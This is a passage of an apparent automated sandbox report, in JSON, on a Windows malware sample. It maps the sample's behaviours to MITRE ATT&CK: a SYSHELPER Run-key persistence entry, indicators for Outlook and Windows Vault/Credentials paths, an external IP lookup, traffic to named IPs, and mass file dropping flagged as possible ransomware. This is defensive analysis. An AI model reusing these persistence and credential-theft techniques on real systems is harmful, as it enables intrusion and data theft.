\"00000000-00005112.00000001.153729.02BF0000.00000004.mdmp, 00000000-00005112.00000002.155651.02BF0000.00000004.mdmp\")\n Found string \"B+ncalrpc:[OLEC9AFDBF1399949479BB14E731D65]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00005112.00000001.153729.02BF0000.00000004.mdmp\")\n Found string \"9ncalrpc:[epmapper,Security=Impersonation Dynamic False]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00005112.00000001.153729.02BF0000.00000004.mdmp, 00000000-00005112.00000002.155651.02BF0000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLEC9AFDBF1399949479BB14E731D65]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00005112.00000001.153729.02BF0000.00000004.mdmp, 00000000-00005112.00000002.155651.02BF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$53","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"8\"\n \"th32ProcessID\": \"0\"}\n \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"15\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" called \"GetComputerNameW\" (UID: 00000000-00000260)\n \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" called \"GetComputerNameW\" (UID: 00000000-00005112)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" called \"GetUserNameW\" (UID: 00000000-00005112)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$54","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"$55","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to determine disk drive type (API string)","description":"Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; File: \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\")\n Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; Source: \"00000000-00000240.00000000.150804.00401000.00000020.mdmp\")\n Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; Source: \"00000000-00001252.00000000.153275.00401000.00000020.mdmp\")\n Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveType\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"$56","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$57","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate system network resources (API string)","description":"Found reference to API \"WNetOpenEnumW\" (Indicator: \"WNetOpenEnum\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-313","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to find logical drives of the machine (API string)","description":"Found reference to API \"GetLogicalDrives\" (Indicator: \"GetLogicalDrives\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-84","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query network adapter information (API string)","description":"Found reference to API \"GetAdaptersInfo\" (Indicator: \"GetAdaptersInfo\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-118","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"Found reference to API \"RegQueryValueExW\" (Indicator: \"RegQueryValue\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.05810000.00000004.mdmp\")\n Found reference to API \"RegOpenKeyExW\" (Indicator: \"RegOpenKey\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.05810000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.05810000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"$58","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00000240.00000000.150804.00401000.00000020.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00001252.00000000.153275.00401000.00000020.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.05810000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve data about the local computer (API string)","description":"Found reference to API \"InterlockedExchangeAdd\" (Indicator: \"InterlockedExchange\"; File: \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\")\n Found reference to API \"InterlockedExchangeAdd\" (Indicator: \"InterlockedExchange\"; Source: \"00000000-00000240.00000000.150804.00401000.00000020.mdmp\")\n Found reference to API \"InterlockedExchangeAdd\" (Indicator: \"InterlockedExchange\"; Source: \"00000000-00001252.00000000.153275.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-115","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$59","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"$5a","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")\n Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00005112.00000002.155651.05810000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00000240.00000000.150804.00401000.00000020.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00001252.00000000.153275.00401000.00000020.mdmp\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"$5b","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains reference to Outlook data files path","description":"Found string \"%USERPROFILE%\\Documents\\Outlook Files\\*\" (Indicator: \"\\documents\\outlook files\"; Source: \"00000000-00005112-00000C2C-58843707755\")\n Found string \":\\Users\\HAPUBWS\\AppData\\Local\\Microsoft\\Outlook\\\" (Indicator: \"\\appdata\\local\\microsoft\\outlook\"; Source: \"00000000-00005112.00000002.155651.05960000.00000004.mdmp, 00000000-00005112.00000002.155651.05A00000.00000004.mdmp\")\n Found string \"??\\C:\\Users\\b1eTAWn\\Documents\\Outlook Files\\Outlook.pst\" (Indicator: \"\\documents\\outlook files\"; Source: \"00000000-00005112.00000002.155651.059D2000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1114.001","relevance":3,"id":"string-570","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$5c","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found mail information locations related strings","description":"\":\\Users\\HAPUBWS\\AppData\\Local\\Microsoft\\Outlook\\\" in Source: 00000000-00005112.00000002.155651.05960000.00000004.mdmp\n 00000000-00005112.00000002.155651.05A00000.00000004.mdmp\n \"ata\\Local\\Microsoft\\Outlook\\\" in Source: 00000000-00005112.00000002.155651.05960000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1114","relevance":1,"id":"string-129","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found registry key string for installed applications","description":"\"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Microsoft Edge\" (Indicator: \"microsoft\\windows\\currentversion\\uninstall\") in Source: 00000000-00005112.00000002.155651.05810000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-96","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found string related to Windows Vault/Credentials location","description":"\":\\Users\\HAPUBWS\\AppData\\Local\\Microsoft\\Vault\\\" (Indicator: \"\\microsoft\\vault\"; File: \"00000000-00005112.00000002.155651.02BF0000.00000004.mdmp, 00000000-00005112.00000002.155651.05A00000.00000004.mdmp\")\n \":\\Users\\HAPUBWS\\AppData\\Local\\Microsoft\\Credentials\\\" (Indicator: \"\\microsoft\\credentials\"; File: \"00000000-00005112.00000002.155651.05960000.00000004.mdmp, 00000000-00005112.00000002.155651.05A00000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555.004","relevance":3,"id":"string-197","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found strings related to keylogger","description":"file/memory contains long string with (Indicator: \"[F4]\"; File: \"bootmgr.efi.mui\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-556","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetCommandLine API","description":"Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: 433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"System Security","name":"Able to retrieve/open a process (API string)","description":"Found string \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")\n Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005112.00000002.155651.05810000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-729","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00005112.00000000.151810.02BF0000.00000004.mdmp, 00000000-00005112.00000001.153729.02BF0000.00000004.mdmp, 00000000-00005112.00000002.155651.02BF0000.00000004.mdmp\")\n Found string \"\\Device\\NetBT_Tcpip_{D03DB0C1-2729-4674-A875-8625DD784300}\" (Indicator: \"\\Device\\\"; Source: \"00000000-00005112.00000001.153729.0596A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"$5d","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"00000000-00005112.00000002.155651.05810000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"$5e","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00000240.00000000.150804.00401000.00000020.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00001252.00000000.153275.00401000.00000020.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.05810000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$5f","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to free the memory used by network management functions (API string)","description":"Found reference to API \"NetApiBufferFree\" (Indicator: \"NetApiBufferFree\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-223","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"\"BIT59EE.tmp\" has type \"MS-DOS executable\"- Location: [%TEMP%\\BIT59EE.tmp]- [targetUID: 00000000-00005112]\n \"BIT6330.tmp\" has type \"MS-DOS executable\"- Location: [%TEMP%\\BIT6330.tmp]- [targetUID: 00000000-00005112]\n \"BITF35B.tmp\" has type \"MS-DOS executable\"- Location: [%TEMP%\\BITF35B.tmp]- [targetUID: 00000000-00005112]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"$60","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" was detected as \"VC8 -> Microsoft Corporation\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" has section name .text with entropy \"6.417227284799186\"\n \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" has section name .data with entropy \"7.84916407518305\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure","description":"GetStartupInfoW@KERNEL32.dll at 4139-1-00407602","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1543","relevance":5,"id":"stream-133","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"suspicious","category":"Exploit/Shellcode","name":"Contains escaped byte string (often part of obfuscated shellcode)","description":"$61","origin":"File/Memory","mitre_attack_id":"T1140","relevance":10,"id":"string-15","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"suspicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO Observed External IP Lookup Domain (api .2ip .ua in TLS SNI)\" (SID: 2033214, Rev: 2, Severity: 2) categorized as \"Potentially Bad Traffic\"\n Detected alert \"ET INFO External IP Address Lookup DNS Query (2ip .ua)\" (SID: 2027026, Rev: 3, Severity: 2) categorized as \"Device Retrieving External IP Address Detected\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-1","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"$62","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"details too long to display","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"SYSHELPER\"; Value: \"\"%LOCALAPPDATA%\\aa563fba-3360-4fa5-95e2-4e5b9f25d979\\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" --AutoStart\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 104.21.32.1 on port 443 is sent without HTTP header\n TCP traffic to 188.40.141.211 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - Anti-Debugging (PEB)","description":"YARA signature for anti-debugging matched on file \"winresume.exe\"","origin":"YARA Signature","mitre_attack_id":"T1622","relevance":3,"id":"yara-38","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - ChaCha20 128-bit algorithm","description":"YARA signature for ChaCha20 128-bit key algorithm matched on file \"tor-gencert.exe\"\n YARA signature for ChaCha20 128-bit key algorithm matched on file \"snowflake-client.exe\"\n YARA signature for ChaCha20 128-bit key algorithm matched on file \"obfs4proxy.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":9,"id":"yara-57","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - ChaCha20 256-bit algorithm","description":"YARA signature for ChaCha20 256-bit key algorithm matched on file \"tor-gencert.exe\"\n YARA signature for ChaCha20 256-bit key algorithm matched on file \"snowflake-client.exe\"\n YARA signature for ChaCha20 256-bit key algorithm matched on file \"obfs4proxy.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":9,"id":"yara-44","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"The input sample dropped very many files","description":"The input sample dropped 1142 files (often an indicator for ransomware)","origin":"Binary File","mitre_attack_id":"T1491.001","relevance":5,"id":"binary-10","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\LSCBY323\\get[1].php\" for deletion\n 